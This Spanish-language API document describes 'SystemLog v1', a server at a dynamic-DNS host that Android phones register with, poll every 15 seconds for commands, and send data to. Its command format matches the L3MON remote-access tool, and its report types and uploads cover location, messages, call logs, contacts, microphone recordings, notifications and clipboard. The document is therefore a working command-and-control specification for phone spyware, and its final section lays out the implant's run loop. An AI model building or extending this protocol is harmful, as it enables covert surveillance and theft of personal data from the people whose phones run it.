# API SystemLog v1

Base URL: `http://syslogbra.ddns.net/api/v1` (VirtualHost XAMPP) o `http://localhost/systemlog/public/api/v1`

## Registro (sin token)

```http
POST /devices/register
Content-Type: application/json

{
  "device_id": "ANDROID_ID",
  "model": "Pixel 6",
  "manufacturer": "Google",
  "android_version": "14"
}
```

Respuesta:

```json
{
  "error": false,
  "message": "Dispositivo registrado.",
  "data": {
    "device_token": "...",
    "poll_interval": 15,
    "heartbeat_interval": 45
  }
}
```

## Endpoints autenticados

Header obligatorio: `X-Device-Token: {device_token}`

### Heartbeat

```http
POST /devices/heartbeat
```

### Poll (obtener comando)

```http
POST /devices/poll
```

Si hay comando: `data.order` contiene el payload (equivalente a `order` de L3MON).

### Report (enviar datos)

```http
POST /devices/report
Content-Type: application/json

{
  "type": "0xLO",
  "payload": {
    "latitude": 19.43,
    "longitude": -99.13,
    "accuracy": 12,
    "enabled": true
  }
}
```

Tipos: `0xLO`, `0xSM`, `0xFI`, `0xCL`, `0xCO`, `0xMI`, `0xWI`, `0xNO`, `0xCB`, `0xIN`, `0xPM`, `0xGP`

### Upload (archivos)

```http
POST /devices/upload
Content-Type: multipart/form-data

file: (binario)
type: download|voiceRecord
original_name: grabacion.mp4
```

### Ack (confirmar comando)

```http
POST /devices/ack
Content-Type: application/json

{
  "command_id": 1
}
```

## Flujo recomendado en el APK

1. `register` → guardar `device_token`
2. Cada 45s: `heartbeat`
3. Cada 15s: `poll` → si `order`, ejecutar → `report`/`upload` → `ack`
